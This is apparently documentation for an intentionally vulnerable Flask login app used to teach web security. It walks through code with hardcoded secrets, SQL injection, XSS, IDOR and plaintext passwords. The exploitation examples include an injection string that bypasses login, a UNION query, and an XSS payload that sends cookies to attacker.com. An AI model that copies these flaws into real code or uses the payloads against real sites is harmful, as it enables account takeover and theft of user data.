This code contains intentional security vulnerabilities for educational purposes. Never use this code in production.
Application Structure
The vulnerable application demonstrates common security flaws found in web applications.
File Organization
vulnerable/
├── app.py # Main Flask application with vulnerable routes
├── database.py # Database setup with plaintext passwords
├── templates/ # HTML templates with XSS vulnerabilities
└── users.db # SQLite database
Main Application (app.py)
Configuration
Source: vulnerable/app.py:5-6
app = Flask( __name__ )
app.secret_key = 'clave_super_secreta_123'
Vulnerability : Hardcoded secret key in source code
Secret key is visible in version control
Same key used across all deployments
Predictable and easy to compromise
Route: Index
Source: vulnerable/app.py:8-10
@app.route ( '/' )
def index ():
return render_template( 'index.html' )
Simple homepage with no authentication requirements.
Route: Login (SQL Injection)
Source: vulnerable/app.py:12-49
Full Route
Vulnerable Code
@app.route ( '/login' , methods = [ 'GET' , 'POST' ])
def login ():
if request.method == 'POST' :
username = request.form[ 'username' ]
password = request.form[ 'password' ]
connection = create_connection()
if not connection:
flash( 'Error de conexión' , 'danger' )
return render_template( 'login.html' )
cursor = connection.cursor()
# VULNERABLE: SQL Injection
query = f "SELECT * FROM users WHERE username = ' { username } ' AND password = ' { password } '"
print ( f "Query ejecutada: { query } " )
try :
cursor.execute(query)
user = cursor.fetchone()
if user:
session[ 'user_id' ] = user[ 'id' ]
session[ 'username' ] = user[ 'username' ]
session[ 'role' ] = user[ 'role' ]
flash( 'Login exitoso!' , 'success' )
return redirect( '/dashboard' )
else :
flash( 'Usuario o contraseña incorrectos' , 'danger' )
except sqlite3.Error as e:
flash( f 'Error SQL: { str (e) } ' , 'danger' )
print ( f "ERROR SQL: { e } " )
finally :
cursor.close()
connection.close()
return render_template( 'login.html' )
# VULNERABLE: SQL Injection
query = f "SELECT * FROM users WHERE username = ' { username } ' AND password = ' { password } '"
cursor.execute(query)
Critical Vulnerabilities :
SQL Injection - User input directly concatenated into query
No Input Validation - No sanitization of username or password
Plaintext Password Comparison - Passwords stored and compared in plaintext
Error Disclosure - SQL errors exposed to users
Debug Information - Queries printed to console
Exploitation Example
# Bypass authentication with SQL injection
Username: admin' OR '1'='1
Password: anything
# Generated query:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
# This always returns true, bypassing authentication
Route: Register
Source: vulnerable/app.py:51-73
@app.route ( '/register' , methods = [ 'GET' , 'POST' ])
def register ():
if request.method == 'POST' :
username = request.form[ 'username' ]
password = request.form[ 'password' ]
email = request.form[ 'email' ]
connection = create_connection()
cursor = connection.cursor()
try :
query = "INSERT INTO users (username, password, email) VALUES ( %s , %s , %s )"
cursor.execute(query, (username, password, email))
connection.commit()
flash( 'Usuario registrado exitosamente!' , 'success' )
return redirect( '/login' )
except sqlite3.Error as e:
flash( f 'Error al registrar: { str (e) } ' , 'danger' )
finally :
cursor.close()
connection.close()
return render_template( 'register.html' )
Vulnerabilities :
Plaintext Password Storage - Passwords stored without hashing
No Input Validation - No length or format checks
No Password Strength Requirements - Weak passwords accepted
Error Disclosure - Database errors shown to users
Route: Dashboard (XSS)
Source: vulnerable/app.py:75-87
@app.route ( '/dashboard' )
def dashboard ():
if 'user_id' not in session:
flash( 'Debes iniciar sesión' , 'warning' )
return redirect( '/login' )
# VULNERABLE: XSS
message = request.args.get( 'message' , '' )
return render_template( 'dashboard.html' ,
username = session.get( 'username' ),
message = message,
role = session.get( 'role' ))
XSS Vulnerability :
Unescaped user input passed to template
Combined with {{ message|safe }} in template, allows script injection
No Content Security Policy headers
Exploitation Example
GET /dashboard?message= < scrip t > alert ( 'XSS' ) < /scrip t >
# Or steal cookies:
GET /dashboard?message= < scrip t > fetch ( 'http://attacker.com?c=' +document.cookie ) < /scrip t >
Route: Profile (IDOR)
Source: vulnerable/app.py:89-110
@app.route ( '/profile' )
def profile ():
if 'user_id' not in session:
flash( 'Debes iniciar sesión' , 'warning' )
return redirect( '/login' )
user_id = request.args.get( 'id' , session[ 'user_id' ])
connection = create_connection()
cursor = connection.cursor()
try :
cursor.execute( f "SELECT * FROM users WHERE id = { user_id } " )
user = cursor.fetchone()
except sqlite3.Error as e:
flash( f 'Error: { str (e) } ' , 'danger' )
user = None
finally :
cursor.close()
connection.close()
return render_template( 'profile.html' , user = user)
Multiple Vulnerabilities :
IDOR (Insecure Direct Object Reference) - Any user can view any profile
SQL Injection - User ID concatenated into query
No Authorization - No permission checks
Password Exposure - Returns all user fields including password
Exploitation Example
# View admin profile
GET /profile?id= 1
# View all users via SQL injection
GET /profile?id= 1 UNION SELECT * FROM users
Route: Logout
Source: vulnerable/app.py:112-116
@app.route ( '/logout' )
def logout ():
session.clear()
flash( 'Sesión cerrada' , 'success' )
return redirect( '/' )
Logout functionality is implemented correctly.
Database Module (database.py)
Connection Function
Source: vulnerable/database.py:7-14
def create_connection ():
try :
conn = sqlite3.connect(get_db_path())
conn.row_factory = sqlite3.Row
return conn
except Exception as e:
print ( f "Error: { e } " )
return None
Basic SQLite connection without additional security measures.
Database Setup
Source: vulnerable/database.py:16-46
def setup_database ():
conn = sqlite3.connect(get_db_path())
cursor = conn.cursor()
cursor.execute( """
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
email TEXT,
role TEXT DEFAULT 'user',
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
""" )
try :
cursor.execute( """
INSERT INTO users (username, password, email, role)
VALUES (?, ?, ?, ?)
""" , ( 'admin' , 'admin123' , '[email protected] ' , 'admin' ))
cursor.execute( """
INSERT INTO users (username, password, email)
VALUES (?, ?, ?)
""" , ( 'usuario' , 'password123' , '[email protected] ' ))
except sqlite3.IntegrityError:
pass
conn.commit()
conn.close()
Database Security Issues :
Plaintext Passwords - Default users have plaintext passwords
Weak Default Passwords - ‘admin123’ and ‘password123’
No Indexes - Performance issues at scale
No Password Column Constraints - No minimum length requirements
Default Credentials
Admin Account
Username: admin
Password: admin123
Role: admin
Regular User
Username: usuario
Password: password123
Role: user
Summary of Vulnerabilities
Affected Routes : /login, /profileUser input concatenated directly into SQL queries using f-strings, allowing attackers to:
Bypass authentication
Extract database contents
Modify or delete data
Execute arbitrary SQL commands
Cross-Site Scripting (XSS)
Affected Routes : /dashboardUnescaped user input rendered in templates with |safe filter, allowing attackers to:
Inject malicious JavaScript
Steal session cookies
Perform actions on behalf of users
Deface the application
Insecure Direct Object Reference (IDOR)
Affected Routes : /profileNo authorization checks on user ID parameter, allowing:
Viewing other users’ profiles
Accessing sensitive information
Privilege escalation
Plaintext Password Storage
Affected : Database, /register, /loginPasswords stored and compared in plaintext:
Database breach exposes all passwords
No protection against rainbow tables
Violates security best practices
Affected : app.secret_keySecret key hardcoded in source:
Visible in version control
Same across all environments
Compromises session security
Testing the Vulnerabilities
SQL Injection Test
Try logging in with:
Username: admin' OR '1'='1
Password: anything
You’ll be logged in as the first user (admin) without knowing the password.
XSS Test
After logging in, visit: http://localhost:5000/dashboard?message=<script>alert('XSS')</script>
An alert box will appear, confirming the XSS vulnerability.
IDOR Test
While logged in as a regular user, visit: http://localhost:5000/profile?id=1
You’ll see the admin profile, including their password.
These vulnerabilities are intentional for educational purposes. The secure implementation demonstrates how to properly fix each issue.